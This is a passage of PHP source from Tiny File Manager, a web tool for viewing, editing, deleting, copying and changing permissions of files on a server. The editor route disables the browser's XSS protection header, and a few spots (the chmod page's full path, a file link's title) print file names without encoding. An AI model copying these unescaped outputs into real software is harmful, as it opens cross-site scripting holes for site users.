fm_get_onlineViewer_exts())){ $is_onlineViewer = true; } elseif ($ext == 'zip' || $ext == 'tar') { $is_zip = true; $view_title = 'Archive'; $filenames = fm_get_zif_info($file_path, $ext); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = 'Image'; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = 'Audio'; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = 'Video'; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="row"> <div class="col-12"> <?php if(!$quickView) { ?> <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br> File size: <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br> MIME-type: <?php echo $mime_type ?><br> <?php // ZIP info if (($is_zip || $is_gzip) && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> Files in archive: <?php echo $total_files ?><br> Total size: <?php echo fm_get_filesize($total_uncomp) ?><br> Size in archive: <?php echo fm_get_filesize($total_comp) ?><br> Compression: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b> <?php // ZIP actions if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></a></b> <?php } if ($is_text && !FM_READONLY) { ?> <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?> </a></b> <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace" class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?> </a></b> <?php } ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b> </p> <?php } if($is_onlineViewer) { if($online_viewer == 'google') { echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } else if($online_viewer == 'microsoft') { echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fm_enc($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>'.lng('Error while fetching archive info').'</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fm_enc($content) . '</pre>'; } echo $content; } ?> </div> </div> <?php if(!$quickView) { fm_show_footer(); } exit; } // file editor if (isset($_GET['edit'])) { $file = $_GET['edit']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $editFile = ' : <i><b>'. $file. '</b></i>'; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <div class="row"> <div class="col-xs-12 col-sm-5 col-lg-6 pt-1"> <div class="btn-toolbar" role="toolbar"> <?php if (!$isNormalEditor) { ?> <div class="btn-group js-ace-toolbar"> <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button> <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button> <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button> <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button> <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button> <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button> <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select> <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select> <select id="js-ace-fontSize" data-type="fontSize" title="Select Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select> </div> <?php } ?> </div> </div> <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1"> <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a> <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a> <?php if ($is_text) { ?> <?php if ($isNormalEditor) { ?> <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a> <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save </button> <?php } else { ?> <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a> <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?> </button> <?php } ?> <?php } ?> </div> </div> <?php if ($is_text && $isNormalEditor) { echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>'; } elseif ($is_text) { echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?> </div> <?php fm_show_footer(); exit; } // chmod (not for Windows) if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <?php echo lng('ChangePermissions') ?> </h6> <div class="card-body"> <p class="card-text"> Full path: <?php echo $file_path ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>"> <table class="table compact-table <?php echo fm_get_theme(); ?>"> <tr> <td></td> <td><b><?php echo lng('Owner') ?></b></td> <td><b><?php echo lng('Group') ?></b></td> <td><b><?php echo lng('Other') ?></b></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Read') ?></b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Write') ?></b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } //--- FILEMANAGER MAIN fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path // messages fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; $tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white"; ?> <form action="" method="post" class="pt-3"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <div class="table-responsive"> <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table"> <thead class="thead-white"> <tr> <?php if (!FM_READONLY): ?> <th style="width:3%" class="custom-checkbox-header"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()"> <label class="custom-control-label" for="js-select-all-items"></label> </div> </th><?php endif; ?> <th><?php echo lng('Name') ?></th> <th><?php echo lng('Size') ?></th> <th><?php echo lng('Modified') ?></th> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <th><?php echo lng('Perms') ?></th> <th><?php echo lng('Owner') ?></th><?php endif; ?> <th><?php echo lng('Actions') ?></th> </tr> </thead> <?php // link to parent folder if ($parent !== false) { ?> <tr><?php if (!FM_READONLY): ?> <td class="nosort"></td><?php endif; ?> <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td> <td class="border-0" data-order></td> <td class="border-0" data-order></td> <td class="border-0"></td> <?php if (!FM_IS_WIN && !$hide_Cols) { ?> <td class="border-0"></td> <td class="border-0"></td> <?php } ?> </tr> <?php } $ii = 3399; foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o'; $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); if ($calc_folder) { try { $filesize_raw = fm_get_directorysize($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); } catch(Exception $e) { $filesize_raw = ""; $filesize = lng('Folder'); } } else { $filesize_raw = ""; $filesize = lng('Folder'); } $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ii ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>> <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div> </td> <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>"> <?php echo $filesize; ?> </td> <td data-order="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo $owner['name'] . ':' . $group['name'] ?></td> <?php endif; ?> <td class="inline-actions"><?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a> <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> <a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a> </td> </tr> <?php flush(); $ii++; } $ik = 6070; foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f); $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $filesize_raw = fm_get_size($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ik ?>"></label> </div> </td><?php endif; ?> <td data-sort=<?php echo fm_enc($f) ?>> <div class="filename"> <?php if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?> <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?> <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>"> <?php else: ?> <a href="<?php echo $filelink ?>" title="<?php echo $f ?>"> <?php endif; ?> <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a> <?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?> </div> </td> <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>"> <?php echo $filesize; ?> </span></td> <td data-order="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td class="inline-actions"> <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win(fm_enc($f)) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a> <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a> <a title="<?php echo lng('CopyTo') ?>..." href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a> <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a> </td> </tr> <?php flush(); $ik++; } if (empty($folders) && empty($files)) { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td></td><?php endif; ?> <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td> </tr> </tfoot> <?php } else { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td class="gray"></td><?php endif; ?> <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"> <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?> <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?> <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?> <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?> </td> </tr> </tfoot> <?php } ?> </table> </div> <div class="row"> <?php if (!FM_READONLY): ?> <div class="col-xs-12 col-sm-9"> <ul class="list-inline footer-action"> <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li> <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')"> <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')"> <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li> <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy"> <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li> </ul> </div> <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php else: ?> <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div> <?php endif; ?> </div> </form> <?php fm_show_footer(); //--- END // Functions /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!$isFileAllowed) return false; return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } 